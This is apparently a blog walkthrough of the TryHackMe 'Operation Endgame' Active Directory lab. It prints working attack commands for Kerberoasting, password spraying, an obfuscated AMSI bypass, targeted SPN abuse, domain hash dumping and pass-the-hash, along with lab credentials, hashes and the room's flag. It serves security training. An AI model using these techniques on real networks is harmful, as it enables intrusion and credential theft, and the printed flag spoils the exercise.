TryHackMe Operation Endgame Walkthrough
TL;DR Walkthrough of the TryHackMe Operation Endgame room.
THM Walkthroughs:
A full list of our TryHackMe walkthroughs and cheatsheets is here.
Background
This was a good little room covering enumeration, password spraying, DACL enumeration & abuse, Kerberoasting, and even the oldie but goodie tactic of poking around filesystems looking for plaintext creds. I got some great practice enumerating a list of usernames using various Kali tools. I’ll have to update my Master AD Cheatsheet.
I also wrote a function with Gemini’s help. One specifies the tool used and the file containing the raw output and the function outputs a clean username list ready to be used for password spraying.
Parse-Usernames -Tool ldapsearch -RawOutput .\enum.txtOn an admin note the IP keeps changing throughout this walkthrough as I had to restart the TryHackMe VM numerous times. It kept freezing up on me.
Well without further ado let’s dive in and show how I solved this room.
Initial Enumeration
As always we start with a nmap scan.
sudo nmap -sV -O 10.66.168.58We find that it’s a DC for the domain thm.local. HTTP, HTTPS, and RDP are also open.
I enumerated for interesting directories and pages on the HTTP and HTTPS sites.
gobuster dir -u http://10.66.168.58 -w /usr/share/wordlists/dirb/common.txt
#Ignore the cert error
gobuster dir -u https://10.66.168.58 -w /usr/share/wordlists/dirb/common.txt -kI didn’t find anything interesting though. I tried enum4linux as I normally do.
enum4linux -u thm.local\\guest -a 10.66.168.58The guest account is enabled. However we didn’t get a username list, just groups & shares. I had much better luck with ldapsearch.
ldapsearch -x -H ldap://10.66.168.58 -D "cn=guest,cn=users,dc=thm,dc=local" -w "" -b "dc=thm,dc=local" "(objectClass=*)" >> /home/kali/Downloads/THM/Pilfered/enum.txtI used some PowerShell magic to create UserList.txt from enum.txt. I later took that duct tape glorified batch file and flushed it out into a full function.
I also enumerated usernames with nxc and Impacket’s samrdump.py. Google said ldapsearch can have issues when there’s lot of usernames and this domain had quite a few.
nxc smb 10.64.164.95 -u 'CODY_ROY' -p 'MKO)mko0' - users >> /home/kali/UserList2.txt
/usr/share/doc/python3-impacket/examples/samrdump.py thm.local/CODY_ROY:'MKO)mko0'@10.64.164.95 >> UserList3.txtI used the function ‘Parse-Usernames -Tool <toolname> -RawOutput <filename>’ that Gemini helped me write to make clean username lists from the output of all three tools. Following this I was all ready to password spray any credentials I managed to find. I’ll post that function to GitHub later just in case it helps anyone else.
Initial Access
I already knew guest was enabled and I figured I might as well use it to try Kerberoasting.
/usr/share/doc/python3-impacket/examples/GetUserSPNs.py thm.local/guest -dc-ip 10.65.165.196 -request
#Copy/paste the hash to /home/kali/endgame.txt
john --format=krb5tgs --wordlist=/home/kali/rockyou.txt /home/kali/endgame.txtWe have our first creds:
CODY_ROY \ MKO)mko0
Lateral Movement
Let’s try password spraying using UserList.txt and the password we found by Kerberoasting. It’s a keyboard walk after all and users will be users. I used crackmapexec and kerbrute for this. TryHackMe’s VM froze up on me and completely quit responding, hence I had to restart it and have two different IPs in my notes.
crackmapexec smb 10.65.138.112 -u /home/kali/UserList.txt -p 'MKO)mko0'
/home/kali/Downloads/kerbrute_linux_amd64 passwordspray -d thm.local --dc 10.65.132.26 /home/kali/UserList.txt 'MKO)mko0'I still couldn’t access the interesting looking directory C:\Scripts, I wasn’t finding anything juicy in the shares I could access, and of course I only got one hit on the password spray. I tried looking for DACLs that could be abused.
I copy/pasted PowerView.ps1 to the desktop as Zachary_Hunt could RDP into the VM.
. .\PowerView.ps1
#This is the command I was trying to use
Find-InterestingDomainAcl -ResolveGUIDsThe older AMSI bypasses I had handy in my notes from the CRTP exam and the CRTP renewal exam didn’t work at all. Windows has been updated over the years after all. I tried a new AMSI Bypass TTP I found here.
# Deep Obfuscation
$a = [String]::Join('', 'Sy','stem.','Man','agement.Aut','omation.A','msiU','tils')
$b = [String]::Join('', 'am','siIn','itF','ailed')
$t = [Ref].Assembly.GetType($a)
$f = $t.GetField($b, 'NonPublic,Static')
$f.SetValue($null, $true)This VM was apparently fully updated though and the newer AMSI Bypass didn’t work.
However I wrote a function years ago that essentially does the same thing as PowerView’s Find-InterestingDomainAcl. I don’t think Gemini existed yet when I wrote it and AI wasn’t as useful back then anyway. There was a ton of Googling and trial & error that went into this function.
It works though and it has a couple nice features PowerView doesn’t:
- It leverages Alex T Hansen’s function to check all groups our user is nested in as they might hold rights
- It also checks if Dangerous Rights were given to Everyone, Authenticated Uses, or Domain Users
- It doesn’t trip Defender
I posted it to GitHub here.
I copy pasted it the desktop, imported it, and ran it. It has a command line option to specify a SamAccountName and by default it checks for any Dangerous Rights held by the user running it.
. .\RedTeam.ps1
Get-RightsI confirmed with Bloodhound.
Get Rich’s stories in your inbox
Join Medium for free to get updates from this writer.
On an admin note, if you don’t already have BloodHound or BloodHound CE setup then see the howto I posted here. I used the older version of BloodHound in this room out of habit. In most cases both versions are fine.
bloodhound-python -u 'CODY_ROY' -p 'MKO)mko0' -d thm.local -ns 10.65.132.26 -c All
./neo4j-desktop-1.6.0-x86_64.AppImage
bloodhoundZachary_Hunt had either GenericWrite or WriteProperty with all 0s on quite a few users, however Jerri_Lancaster was the one that turned out to have rights that got me further access so I’m only bothering to show what I did with that account.
On a sidenote if WriteProperty with a GUID of all 0s sounds like Greek to you then see the Dangerous Rights Cheatsheet I posted here.
Kerberoasting again
So what can we do with GenericWrite or WriteProperty with all 0s on a user account? While technically different when listed in a DACL they grant exactly the same rights so it’s a difference without a distinction. If we held these rights on a group we could add ourselves or anyone to that group, log off, log back on, and have any rights that group has.
But on a user account?
There is a specific GUID f3a64788–5306–11d1-a9c5–0000f80367c1 that maps to the attribute Service-Principal-Name. In other words if we hold WriteProperty with GUID f3a64788–5306–11d1-a9c5–0000f80367c1 on a user account we can set a SPN on their account. GenericWrite and WriteProperty with all 0s include this specific right.
I’m ashamed to say that while Mishky’s Red Team function checked for GenericWrite and WriteProperty with any GUIDs I had not included this specific GUID on my Dangerous Rights Cheatsheet. I added it after completing this room. I give the room’s author a lot of credit for including this TTP.
I may be preaching to the choir, but any account that has a SPN can be Kerberoasted. Hence I set a SPN on Jerri_Lancaster and proceeded to Kerberoast them.
# Set the SPN on the target user from PowerShell
Set-ADUser -Identity "JERRI_LANCASTER" -ServicePrincipalNames @{Add="fake/kerberoast"}
# from Kali, and this nifty tool sets the SPN and Kerberoasts
targetedKerberoast.py -d 'thm.local' -u 'zachary_hunt' -p 'MKO)mko0' --request-user 'jerri_lancaster' --dc-ip 10.65.150.219
#Copy/paste the hash to /home/kali/endgame2.txt
john --format=krb5tgs --wordlist=/home/kali/rockyou.txt /home/kali/endgame2.txttargetedKerberoast.py wasn’t on my Kali VM by default. You can download it from here. I dropped it into the same directory as the other Impacket tools so if I ever want to use it in the future I know where to look. That directory has most of the AD tools I use after all.
We have more creds:
JERRI_LANCASTER / lovinlife!
Vertical Movement, aka Privilege Escalation
I RDPed into the VM as Jerri_Lancaster.
xfreerdp /v:10.65.150.219 /u:JERRI_LANCASTER /p:'lovinlife!' /dynamic-resolutionIt turns out this user can browse the C:\Scripts folder and read the files in it. As I suspected there’s plaintext creds in C:\Scripts\syncer.ps1
$Username = "SANFORD_DAUGHERTY"
$Password = ConvertTo-SecureString "RESET_ASAP123" -AsPlainText -ForceNice, we compromised a fourth user. Based on the command their credentials are being used to run I suspected they are a Domain Admin so I immediately tried dumping all the domain’s hashes from Kali.
/usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc SANFORD_DAUGHERTY:RESET_ASAP123@10.65.150.219Administrator:500:aad3b435b51404eeaad3b435b51404ee:e599bf2fe56d6a21b3a5487bb4761d1b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:09416770385185f2e4b556844f052968:::Post Exploitation
Beautiful, we p0wned this domain. I don’t know what it is about dumping creds but I just love doing it.
I tried to WinRM into the VM as Administrator via PTH.
evil-winrm -i 10.65.150.219 -u Administrator -H e599bf2fe56d6a21b3a5487bb4761d1bHowever this VM is annoying and doesn’t allow WinRM at all.
I then tried Impacket’s psexec and wmiexec.
/usr/share/doc/python3-impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e599bf2fe56d6a21b3a5487bb4761d1b administrator@10.65.150.219
/usr/share/doc/python3-impacket/examples/wmiexec.py thm.local/Administrator@10.65.150.219 -hashes aad3b435b51404eeaad3b435b51404ee:e599bf2fe56d6a21b3a5487bb4761d1bWMIexec almost always works. I even wrote a function called WMI-Exec in PowerShell so I could ‘wmiexec’ from Windows as it almost always works.
However in this case none of these worked so I finally just broke down and RDPed as Sanford_Daugherty, the Domain Admin whose creds were in plaintext in a PS1 file.
xfreerdp /v:10.65.148.11 /u:SANFORD_DAUGHERTY /p:'RESET_ASAP123' /dynamic-resolution
#Hit the Win + R keys
PowerShell
Start-Process PowerShell.exe -Verb RunAs
cd C:\Users\Administrator\Desktop
ls
cat .\flag.txt.txtVoila, we have the only flag in this room.
THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS}
Summary
I had a sneaking suspicion the flag was in a text file in the Administrator’s Desktop as TryHackMe normally puts them there. However let’s assume that guess was wrong. How would we find the flag?
Luckily I have just the query in my notes for that scenario.
Get-ChildItem -Path "C:\Users" -Filter *.txt -Recurse | Select-String -Pattern "THM" | Select-Object Path, LineNumber, LineAgain this was an excellent little room that covered some AD security topics I have not seen elsewhere all over TryHackMe, ranges, CTFs, hands on exams, etc. I give the room’s author a lot of credit for that. The creativity and originality shown here was really good.
References
Keyboard walk passwords: https://specopssoft.com/blog/top-keyboard-walk-patterns-found-in-compromised-passwords/
AMSI Bypass: https://medium.com/@R3dLevy/evading-windows-security-bypass-amsi-65d639e2f35d
Get-ADUserNestedGroups: http://blog.tofte-it.dk/powershell-get-all-nested-groups-for-a-user-in-active-directory/
Mishky’s Red Team function: https://github.com/EugeneBelford1995/RedTeam
Query all GUIDs in the schema: https://argonsys.com/microsoft-cloud/library/understanding-get-acl-and-ad-drive-output/
Targeted Kerberoast: https://github.com/ShutdownRepo/targetedKerberoast
Sync-ADObject: https://learn.microsoft.com/en-us/powershell/module/activedirectory/sync-adobject?view=windowsserver2025-ps






